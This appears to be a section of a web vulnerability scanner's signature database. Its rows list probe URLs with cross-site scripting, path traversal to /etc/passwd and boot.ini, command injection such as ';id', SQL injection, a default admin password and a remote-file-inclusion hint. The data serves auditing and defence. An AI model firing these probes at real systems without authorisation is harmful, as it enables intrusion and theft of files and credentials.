"generic","/ews/ews/architext_query.pl","200","GET","Versions older than 1.1 of Excite for Web Servers allow attackers to execute arbitrary commands. BID-2665."
"generic","/examples/basic/servlet/HelloServlet","The source of this servlet is in","GET","Caucho Resin from http://www.caucho.com/ reveals file system paths with a default servlet."
"generic","/examples/jsp/snp/anything.snp","200","GET","Tomcat servlet gives lots of host information."," "
"generic","/exe/","200","GET","This might be interesting..."
"generic","/exec/show/config/cr","ip address","GET","The Cisco router's web install allows arbitrary commands to be executed remotely."
"generic","/ext.dll?MfcIsapiCommand=LoadPage&page=admin.hts%20&a0=add&a1=root&a2=%5C","200","GET","This check (A) sets up the next bad blue test (B) for possible exploit. see http://www.badblue.com/down.htm"
"generic","/ext.ini.%00.txt","200","GET","BadBlue allows access restrictions to be bypassed by using a null byte."
"generic","/ezhttpbench.php?AnalyseSite=/etc/passwd&NumLoops=1","root:","GET","eZ httpbench version 1.1 allows any file on the remote server to be retrieved."
"generic","/fcgi-bin/echo.exe?foo=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Fast-CGI has two default CGI programs (echo.exe/echo2.exe) vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/fcgi-bin/echo2.exe?foo=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Fast-CGI has two default CGI programs (echo.exe/echo2.exe) vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/file-that-is-not-real-2002.php3","Unable to open","GET","PHP is configured to show the web root when sending error messages. Set display_errors to 'off'."
"generic","/file/","200","GET","This might be interesting..."
"generic","/fileadmin/","200","GET","This might be interesting..."
"generic","/filemanager/filemanager_forms.php","200","GET","Some versions of PHProjekt allow remote file inclusions. Verify the current version is running. See http://www.securiteam.com/unixfocus/5PP0F1P6KS.html for more info"
"generic","/files/","200","GET","This might be interesting..."
"generic","/foo.php3","200","GET","DotBr 0.1 has a phpinfo() script called foo.php3."
"generic","/forum/","200","GET","This might be interesting..."
"generic","/forum/admin/wwforum.mdb","200","GET","Web Wiz Forums passwords found."
"generic","/forum/bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK","root:","GET","The PHPNuke admin.php is vulnerable to a remote file retrieval vul. It should be upgraded to the latest version. CAN-2001-0320"
"generic","/forum/memberlist.php?s=23c37cf1af5d2ad05f49361b0407ad9e&what=\">\"<script>javascript:alert(document.cookie)</script>","GET","alert(document.cookie)</script>","Vbulletin 2.2.9 and below are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/forums/browse.php?fid=3&tid=46&go=<script>JavaScript:alert('Vulnerable');</script>","<script>alert('Vulnerable')</script>","GET","php(Reactor) is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/forums/index.php?board=;action=login2&user=USERNAME&cookielength=120&passwrd=PASSWORD<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","YaBB is vulnerable to Cross Site Scripting (XSS) in the password field of the login page. CA-2000-02."
"generic","/forumscalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","uid","GET","Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html"
"generic","/forumzcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","uid","GET","Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html"
"generic","/fpadmin/","200","GET","This might be interesting..."
"generic","/fpdb/shop.mdb","200","GET","MetaCart2 is an ASP shopping cart. The database of customers is available via the web."," "
"generic","/friend.php?op=SiteSent&fname=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","This version of PHP-Nuke's friend.php is vulnerable to Cross Site Scripting (XSS). Upgrade to the latest version. CA-2000-02."
"generic","/ftp/","200","GET","This might be interesting..."
"generic","/gb/index.php?login=true","200","GET","gBook may allow admin login by setting the value 'login' equal to 'true'."
"generic","/getaccess","200","GET","This may be an indication that the server is running getAccess for SSO"
"generic","/global.inc","200","GET","PHP-Survey's include file should not be available via the web. Configure the web server to ignore .inc files or change this to global.inc.php"
"generic","/globals.jsa","200","GET","Oracle globals.jsa file"
"generic","/guestbook/","200","GET","This might be interesting..."
"generic","/guestbook/admin.php","200","GET","Guestbook admin page available without authentication."
"generic","/guestbook/admin/o12guest.mdb","200","GET","Ocean12 ASP Guestbook Manager allows download of SQL database which contains admin password."
"generic","/guests/","200","GET","This might be interesting..."
"generic","/GW5/GWWEB.EXE?HELP=bad-request","Could not find file SYS","GET","Groupwise allows system information and file retrieval by modifying arguments to the help system."
"generic","/GWWEB.EXE?HELP=bad-request","Could not find file SYS","GET","Groupwise allows system information and file retrieval by modifying arguments to the help system. CAN-2002-0341."
"generic","/help.php?chapter=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Squirrel Mail 1.2.7 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/help/","200","GET","Help directory should not be accessible"
"generic","/hidden/","200","GET","This might be interesting..."
"generic","/hitmatic/","200","GET","This might be interesting..."
"generic","/hitmatic/analyse.cgi","200","GET","Just found this cgi..."
"generic","/hits.txt","200","GET","Just found this log file..."
"generic","/hit_tracker/","200","GET","This might be interesting..."
"generic","/home.php?arsc_language=elvish","Failed opening '","GET","ARSC Really Simple Chat can reveal file system paths if an invalid language name is specified."
"generic","/home/","200","GET","This might be interesting..."
"generic","/hostingcontroller/","200","GET","This might be interesting...probably HostingController, www.hostingcontroller.com"
"generic","/htdocs/","200","GET","This might be interesting..."
"generic","/htforumcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","uid","GET","Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html"
"generic","/html/","200","GET","This might be interesting..."
"generic","/html/cgi-bin/cgicso?query=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","This CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/html/cgi-bin/cgicso?query=AAA","400 Required field missing: fingerhost","GET","This CGI allows attackers to execute remote commands."
"generic","/html/chatheader.php?mainfile=anything&Default_Theme='<script>alert(document.cookie);</script>","<script>alert(document.cookie);</script>","GET","myphpnuke version 1.8.8_final_7 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/html/partner.php?mainfile=anything&Default_Theme='<script>alert(document.cookie);</script>","<script>alert(document.cookie);</script>","GET","myphpnuke version 1.8.8_final_7 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/HyperStat/stat_what.log","200","GET","Just found this file..."
"generic","/hyperstat/stat_what.log","200","GET","Just found this log..."
"generic","/ibill/","200","GET","This might be interesting..."
"generic","/idea/","200","GET","This might be interesting..."
"generic","/ideas/","200","GET","This might be interesting..."
"generic","/image/","Index of ","GET","index of image directory available"
"generic","/images/","Index of ","GET","index of image directory available"
"generic","/img-sys/","200","GET","Default image directory should not allow directory listing."
"generic","/img/","200","GET","This may be interesting..."
"generic","/imp/mailbox.php3?actionID=6&server=x&imapuser=x';somesql+--&pass=x","parse error","GET","IMP 2.x allows SQL injection, and reveals system information."
"generic","/import/","200","GET","This might be interesting..."
"generic","/inc/common.load.php","200","GET","Bookmark4U v1.8.3 include files are not protected, and may contain remote source injection by using the 'prefix' variable."
"generic","/inc/config.php","200","GET","Bookmark4U v1.8.3 include files are not protected, and may contain remote source injection by using the 'prefix' variable."
"generic","/inc/dbase.php","200","GET","Bookmark4U v1.8.3 include files are not protected, and may contain remote source injection by using the 'prefix' variable."
"generic","/inc/sendmail.inc","This program is free software","GET","Basilix allows its configuration files to be downloaded, which  may include the mysql auth credentials."
"generic","/includes/","200","GET","This might be interesting..."
"generic","/incoming/","200","GET","This might be interesting..."
"generic","/index.html.bak","Index of","GET","The remote server (perhaps Web602) shows directory indexes if .bak is appended to the request."
"generic","/index.html~","Index of","GET","The remote server (perhaps Web602) shows directory indexes if a ~ is appended to the request."
"generic","/index.jsp%00x","<%=","GET","Bea WebLogic 6.1 SP 2 discloses source by appending %00x to a jsp request. Upgrade to a version newer than 6.2 SP 2 for Win2k."
"generic","/index.php/123","Premature end of script headers","GET","Some versions of PHP reveal PHP's physical path on the server by appending /123 to the php file name."
"generic","/index.php/content/advancedsearch/?SearchText=<script>alert(document.cookie)</script>&PhraseSearchText=<script>alert(document.cookie)</script>&SearchContentClassID=-1&SearchSectionID=-1&SearchDate=-1&SearchButton=Search","<script>alert(document.cookie)</script>","GET","eZ publish v3 and prior allow Cross Site Scripting (XSS). CA-2000-02."
"generic","/index.php/content/search/?SectionID=3&SearchText=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","eZ publish v3 and prior allow Cross Site Scripting (XSS). CA-2000-02."
"generic","/index.php/\"><script><script>alert(document.cookie)</script><","<script>alert(document.cookie)</script>","GET","eZ publish v3 and prior allow Cross Site Scripting (XSS). CA-2000-02."
"generic","/index.php?action=search&searchFor=\"><script>alert('Vulnerable')</script >","<script>alert('Vulnerable')</script>","GET","MiniBB http://www.minibb.net is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/index.php?action=storenew&username=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","SunShop is vulnerable to Cross Site Scripting (XSS) in the signup page. CA-200-02."
"generic","/index.php?catid=&lt;script&gt;alert('Vulnerable')&lt;/script&gt;","<script>alert('Vulnerable')</script>","GET","PostNuke is vulnerable to cross site scripting (XSS). CA-2000-02."
"generic","/index.php?chemin=..%2F..%2F..%2F..%2F..%2F..%2F..%2F%2Fetc","resolv.conf","GET","phpMyExplorer Allows attackers to read directories on the server."
"generic","/index.php?file=index.php","Fatal error:","GET","PHPNuke 5.4 allows file system paths to be shown in error messages."
"generic","/index.php?file=Liens&op=\"><script>alert('Vulnerable');</script>","alert('Vulnerable')","GET","Nuked-klan 1.3b is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/index.php?l=forum/view.php&topic=../../../../../../../../../etc/passwd","root:","GET","Portix-PHP Portal allows retrieval of arbitrary files via the '..' type filtering problem."
"generic","/index.php?option=search&searchword=<script>alert(document.cookie);</script>","alert(document.cookie)","GET","Mambo Site Server 4.0 build 10 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/index.php?page=../../../../../../../../../../boot.ini","boot loader","GET","The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php)"
"generic","/index.php?page=../../../../../../../../../../etc/passwd","root:","GET","The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php)"
"generic","/index.php?sql_debug=1","SQL query: ","GET","The PHP-Nuke install may allow attackers to enable debug mode and disclose sensitive information by adding sql_debug=1 to the query string."
"generic","/index.php?|=../../../../../../../../../etc/passwd","root:","GET","Portix-PHP Portal allows retrieval of arbitrary files via the '..' type filtering problem."
"generic","/info/","200","GET","This might be interesting..."
"generic","/install/","200","GET","This might be interesting..."
"generic","/instantwebmail/message.php","200","GET","Instant Web Mail (http://understroem.kdc/instantwebmail/) is installed. Versions 0.59 and lower can allow remote users to embed POP3 commands in URLs contained in email."
"generic","/interchange/","200","GET","Interchange chat is installed. Look for a high-numbered port like 20xx to find it running."
"generic","/internal.sws?../../winnt/win.ini","[fonts]","GET","Snowblind Web Server v1.0 allows arbitrary files to be retrieved from the remote server."
"generic","/internal.sws?../../winnt/win.ini","[windows]","GET","Snowblind Web Server v1.0 allows arbitrary files to be retrieved from the remote server."
"generic","/interscan/cgi-bin/FtpSave.dll?I'm%20Here","These settings have been saved","GET","Multiple files in the Interscan management server allow attackers to change settins without auth. Upgrade to the latest version of the Interscan product."
"generic","/intranet/","200","GET","This might be interesting..."
"generic","/ip.txt","200","GET","This may be User Online from http://www.elpar.net version 2.0, which has a remotely accessible log file."
"generic","/isapi/count.pl?","200","GET","AN HTTPd default script may allow writing over arbitrary files with a new content of '1', which could allow a trivial DoS. Append /../../../../../ctr.dll to replace this file's contents, for example."
"generic","/isapi/testisa.dll?check1=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/isqlplus","200","GET","Oracle iSQL*Plus is installed. This may be vulnerable to a buffer overflow in the user id field. http://www.ngssoftware.com/advisories/ora-isqlplus.txt"
"generic","/jamdb/","200","GET","JamDB pre 0.9.2 mp3.php and image.php can allow user to read arbitrary file out of docroot."
"generic","/java-plugin/","index of","GET","Default directory found."
"generic","/java-sys/","200","GET","Default Java directory should not allow directory listing."
"generic","/java/","200","GET","This might be interesting..."
"generic","/javadoc/","200","GET","Documentation...?"
"generic","/javax","index of","GET","Java class files may be browsable."
"generic","/jdbc/","200","GET","This might be interesting..."
"generic","/jgb_eng_php3/cfooter.php3","Fatal error","GET","Justice Guestbook may reveal file system paths in error messages."
"generic","/jigsaw/","200","GET","Jigsaw server may be installed. Versions lower than 2.2.1 are vulnerable to Cross Site Scripting (XSS), update to latest at http://freshmeat.net/users/yveslafon/. CA-2000-02."
"generic","/Jigsaw/","200","GET","Jigsaw server may be installed. Versions lower than 2.2.1 are vulnerable to Cross Site Scripting (XSS), update to latest at http://freshmeat.net/users/yveslafon/. CA-2000-02."
"generic","/jsp/jspsamp/jspexamples/viewsource.jsp?source=../../../../../../../../../../boot.ini","boot loader","GET","Default JRun CGI lets users read any system file."
"generic","/jsp/jspsamp/jspexamples/viewsource.jsp?source=../../../../../../../../../../etc/passwd","root:","GET","Default JRun CGI lets users read any system file."
"generic","/jspdocs/","OracleJSP","GET","Default Oracle JSP documentation."
"generic","/JUNK(5).csp","File not found: /","GET","Invalid files with .csp extension reveal the file system path to the web root."
"generic","/k/home?dir=/&file=../../../../../../../../etc/passwd&lang=kor","root:","GET","Kebi Academy 2001 Web Solution allows any file to be retrieved from the remote system."
"generic","/krysalis/","200","GET","Krysalis pre 1.0.3 may allow remote users to read arbitrary files outside docroot"
"generic","/launch.asp?NFuse_Application=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","NFuse is vulnerable to cross site scripting (XSS) in the GetLastError function. Upgrade to the latest version. CA-2000-02."
"generic","/launch.jsp?NFuse_Application=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","NFuse is vulnerable to cross site scripting (XSS) in the GetLastError function. Upgrade to the latest version. CA-2000-02."
"generic","/level/42/exec/show%20conf","200","GET","Retrieved Cisco configuration file."
"generic","/lib/","200","GET","This might be interesting..."
"generic","/library/","200","GET","This might be interesting..."
"generic","/log.htm","200","GET","Just found this log file..."
"generic","/log.html","200","GET","Just found this log file..."
"generic","/log.txt","200","GET","Just found this log file..."
"generic","/log/","200","GET","Ahh...log information...fun!"
"generic","/logbook.pl?file=../../../../../../../bin/cat%20/etc/passwd%00|","root:","GET","Wordit Limited 2000 allows command execution."
"generic","/logfile","200","GET","Just found this log file..."
"generic","/logfile.htm","200","GET","Just found this log file..."
"generic","/logfile.html","200","GET","Just found this log file..."
"generic","/logfile.txt","200","GET","Just found this log file..."
"generic","/logfile/","200","GET","This might be interesting..."
"generic","/logfiles/","200","GET","This might be interesting..."
"generic","/logger.html","200","GET","Just found this log file..."
"generic","/logger/","200","GET","This might be interesting..."
"generic","/logging/","200","GET","This might be interesting..."
"generic","/logicworks.ini","200","GET","web-erp 0.1.4 and earlier allow .ini files to be read remotely."
"generic","/login.php?sess=your_session_id&abt=&new_lang=99999&caller=navlang","Failed opening required","GET","phPay v2.02 information disclosure. http://phpay.sourceforge.net/."
"generic","/login/","200","GET","This might be interesting..."
"generic","/logs.txt","200","GET","Just found this log file..."
"generic","/logs/","200","GET","Ahh...log information...fun!"
"generic","/logs/access_log","200","GET","Just found this log..."
"generic","/lpt9.xtp","java.io.FileNotFoundException:","GET","Resin 2.1 reveals the server path when a DOS device is requested."
"generic","/mail/","200","GET","This might be interesting..."
"generic","/mail/addressaction.html?id=<USERID#>&newaddress=1&addressname=<script>alert('Vulnerable')</script>&addressemail=junk@example.com","<script>alert('Vulnerable')</script>","GET","IceWarp Webmail 3.3.3 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/mailman/admin/ml-name?\"><script>alert('Vulnerable')</script>;","<script>alert('Vulnerable')</script>","GET","Mailmain is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/mailman/listinfo/<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Mailman is vulnerable to Cross Site Scripting (XSS). Upgrade to version 2.0.8 to fix. CA-2000-02."
"generic","/mailman/options/yourlist?language=en&email=&lt;SCRIPT&gt;alert('Vulnerable')&lt;/SCRIPT&gt;","<SCRIPT>alert('Vulnerable')</SCRIPT>","GET","Mailmain 2.1 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/mailman/options/yourlist?language=en&email=&lt;SCRIPT&gt;alert('Vulnerable')&lt;/SCRIPT&gt;","<SCRIPT>alert('Vulnerable')</SCRIPT>","GET,","Mailmain 2.1 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/mall_log_files/order.log","200","GET","EZMall2000 exposes order information, http://www.ezmall2000.com/, see http://www.mindsec.com/advisories/post2.txt for details."
"generic","/mambo/administrator/phpinfo.php","200","GET","Mambo Site Server 4.0.11 phpinfo.php script reveals system information."
"generic","/mambo/index.php?Itemid=JUNK(5)","exceeded in /","GET","Mambo Site Server 4.0.11 reveals the web server path."
"generic","/manage/cgi/cgiproc","200","GET","This might be interesting..."
"generic","/manager/","200","GET","May be a web server or site manager."
"generic","/manual.php","200","GET","Does not filter input before passing to shell command. Try 'ls -l' as the man page entry."
"generic","/manual/","200","GET","Web server manual? tsk tsk."
"generic","/marketing/","200","GET","This might be interesting..."
"generic","/mcartfree/database/metacart.mdb","200","GET","MetaCart2 is an ASP shopping cart. The database of customers is available via the web."," "
"generic","/Mem/dynaform/Login.htm?WINDWEB_URL=%2FMem%2Fdynaform%2FLogin.htm&ListIndexUser=0&sWebParam1=admin000","Login as Admin successful","POST","Meridian Integrated Recorded Announcer default account admin/admin000 enabled"
"generic","/members/","200","GET","This might be interesting..."
"generic","/metacart/database/metacart.mdb","200","GET","MetaCart2 is an ASP shopping cart. The database of customers is available via the web."
"generic","/midicart.mdb","200","GET","MIDICART database is available for browsing. This should not be allowed via the web server."
"generic","/MIDICART/midicart.mdb","200","GET","MIDICART database is available for browsing. This should not be allowed via the web server."
"generic","/ministats/admin.cgi","200","GET","Just found this cgi..."
"generic","/misc/","200","GET","This might be interesting..."
"generic","/mkstats/","200","GET","This might be interesting..."
"generic","/mlog.phtml","200","GET","Remote file read vulnerability CVE-1999-0346"
"generic","/modsecurity.php","200","GET","This phpWebSite script may allow inclusion of remote scripts by adding ?inc_prefix=http://YOURHOST/"
"generic","/modules.php?name=Classifieds&op=ViewAds&id_subcatg=75&id_catg=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The PHPNuke forum is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/modules.php?name=Downloads&d_op=viewdownload","Failed opening","GET","PHPNuke allows file system paths to be revealed."
"generic","/modules.php?name=Downloads&d_op=viewdownload","Fatal error","GET","PHPNuke allows file system paths to be revealed."
"generic","/modules.php?name=Downloads&d_op=viewdownloaddetails&lid=02&ttitle=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","This install of PHPNuke is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/modules.php?name=Members_List&letter=All&sortby=pass","Admin","GET","PHP Nuke module allows user names and passwords to be viewed. See http://www.frog-man.org/tutos/PHP-Nuke6.0-Members_List-Your_Account.txt for other SQL exploits in this module."
"generic","/modules.php?name=Members_List&sql_debug=1","200","GET","The PHP-Nuke install may allow attackers to enable debug mode and disclose sensitive information by adding sql_debug=1 to the query string."
"generic","/modules.php?name=Network_Tools&file=index&func=ping_host&hinput=%3Bid","uid=","GET","PHP-Nuke add-on NetTools below 0.3 allow for command execution. Upgrade to a new version."
"generic","/modules.php?name=Stories_Archive&sa=show_month&year=2002&month=03&month_l=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The PHPNuke forum is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/modules.php?name=Stories_Archive&sa=show_month&year=<script>alert('Vulnerable')</script>&month=3&month_l=test","<script>alert('Vulnerable')</script>","GET","The PHPNuke forum is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/modules.php?name=Surveys&pollID=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The PHPNuke forum is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/modules.php?name=Your_Account&op=userinfo&uname=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The PHPNuke forum is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/modules.php?name=Your_Account&op=userinfo&username=bla<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Francisco Burzi PHP-Nuke 5.6, 6.0, 6.5 RC1/RC2/RC3, 6.5 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/modules.php?op=modload&name=0&file=0","Failed opening ","GET","PHP Nuke is configured to give descriptive error messages which can reveal file system paths."
"generic","/modules.php?op=modload&name=books&file=index&req=search&query=|script|alert(document.cookie)|/script|","alert(document.cookie)","GET","PostNuke CMS is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/modules.php?op=modload&name=DMOZGateway&file=index&topic=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The DMOZGateway (PHPNuke Add-on module) is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/modules.php?op=modload&name=Guestbook&file=index&entry=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The PHPNuke forum is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/modules.php?op=modload&name=Members_List&file=index&letter=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","This install of PHPNuke's modules.php is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/modules.php?op=modload&name=News&file=article&sid=<script>alert('Vulnerable');</script+>","<script>alert('Vulnerable')</script+>","GET","Postnuke is vulnerable to Cross Site Scripting. CA-2000-02."
"generic","/modules.php?op=modload&name=News&file=article&sid=<script>alert('Vulnerable');</script>","<script>alert('Vulnerable')</script>","GET","Postnuke is vulnerable to Cross Site Scripting. CA-2000-02."
"generic","/modules.php?op=modload&name=News&file=index&catid=&topic=><script>alert('Vulnerable');</script>;","<script>alert('Vulnerable')</script>","GET","Postnuke is vulnerable to Cross Site Scripting. CA-2000-02."
"generic","/modules.php?op=modload&name=WebChat&file=index&roomid=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The PHPNuke forum is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink","Failed opening ","GET","PHP Nuke is configured to give descriptive error messages which can reveal file system paths."
"generic","/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink&cid=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The PHPNuke forum is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/modules.php?op=modload&name=Wiki&file=index&pagename=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Wiki PostNuke Module is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/modules.php?op=modload&name=Xforum&file=<script>alert('Vulnerable')</script>&fid=2","<script>alert('Vulnerable')</script>","GET","The XForum (PHPNuke Add-on module) is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/modules.php?op=modload&name=Xforum&file=member&action=viewpro&member=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The XForum (PHPNuke Add-on module) is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/modules.php?set_albumName=album01&id=aaw&op=modload&name=gallery&file=index&include=../../../../../../../../../etc/passwd","root:","GET","Gallery Addon for PhpNuke allows files to be read remotely. CAN-2001-0900."
"generic","/modules/Forums/bb_smilies.php?bgcolor1=\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","PHP-Nuke 6.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/modules/Forums/bb_smilies.php?Default_Theme=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","PHP-Nuke 6.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/modules/Forums/bb_smilies.php?name=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","PHP-Nuke 6.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/modules/Forums/bb_smilies.php?site_font=}--></style><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","PHP-Nuke 6.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/modules/Submit/index.php?op=pre&title=<script>alert(document.cookie);</script>","alert(document.cookie)","GET","Basit cms 1.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/mod_ose_docs","Oracle Servlet Engine","GET","Default Oracle documentation found."
"generic","/mp3/","200","GET","Uh oh..."
"generic","/mpcsoftweb_guestbook/database/mpcsoftweb_guestdata.mdb","200","GET","MPCSoftWeb Guest Book passwords retrieved."
"generic","/msadm/domain/index.php3?account_name=\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The Sendmail Server Site Domain Administrator login is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/msadm/site/index.php3?authid=\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The Sendmail Server Site Administrator Login is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/msadm/user/login.php3?account_name=\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The Sendmail Server Site User login is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/msql/","200","GET","This might be interesting..."
"generic","/myhome.php?action=messages&box=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","OpenBB 1.0.0 RC3 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/mylog.phtml?screen=/etc/passwd","root:","GET","Remote file read vulnerability CVE-1999-0346"
"generic","/myphpnuke/links.php?op=MostPopular&ratenum=[script]alert(document.cookie);[/script]&ratetype=percent","alert(document.cookie)","GET","myphpnuke is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/myphpnuke/links.php?op=search&query=[script]alert('Vulnerable);[/script]?query=","alert('Vulnerable)","GET","myphpnuke is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/nav/cList.php?root=</script><script>alert('Vulnerable')/<script>","<script>alert('Vulnerable')/<script>","GET","RaQ3 server script is vulnerable to Cross Site Scripting (XSS).  CA-2000-02."
"generic","/ncl_items.html","200","GET","This may allow attackers to reconfigure your Tektronix printer."
"generic","/ncl_items.shtml?SUBJECT=1","200","GET","This may allow attackers to reconfigure your Tektronix printer."
"generic","/netget?sid=user&msg=300&file=../../../../../../../../../../etc/passwd","root:","GET","Sybex E-Trainer allows arbitrary files to be retrieved."
"generic","/netget?sid=user&msg=300&file=../../../../../../../../../boot.ini","boot loader","GET","Sybex E-Trainer allows arbitrary files to be retrieved."
"generic","/netutils/findata.stm?host=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/netutils/findata.stm?user=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/netutils/ipdata.stm?ipaddr=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/netutils/whodata.stm?sitename=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/new/","200","GET","This might be interesting..."
"generic","/news/news.mdb","200","GET","Web Wiz Site News realease v3.06 admin password database is available and unencrypted."
"generic","/newuser?Image=../../database/rbsserv.mdb","SystemErrorsPerHour","GET","The Extent RBS ISP 2.5 allows attackers to read arbitrary files on the server."
"generic","/nuke/modules.php?name=Network_Tools&file=index&func=ping_host&hinput=%3Bid","uid=","GET","PHP-Nuke add-on NetTools below 0.3 allow for command execution. Upgrade to a new version."
"generic","/odbc/","200","GET","This might be interesting..."
"generic","/oekaki/",".conf","GET","The PaintBBS Server may allow unauthorized access to the config files."
"generic","/officescan/cgi/jdkRqNotify.exe","200","GET","This might be interesting..."
"generic","/officescan/hotdownload/ofscan.ini","200","GET","OfficeScan from Trend Micro allows anyone to read the ofscan.ini file, which may contain passwords."
"generic","/ojspdemos/basic/hellouser/hellouser.jsp","200","GET","Oracle 9i default jsp page found, may be vulnerable to XSS in any field."
"generic","/ojspdemos/basic/simple/usebean.jsp","200","GET","Oracle 9i default jsp page found, may be vulnerable to XSS in any field."
"generic","/ojspdemos/basic/simple/welcomeuser.jsp","200","GET","Oracle 9i default jsp page found, may be vulnerable to XSS in any field."
"generic","/old/","200","GET","This might be interesting..."
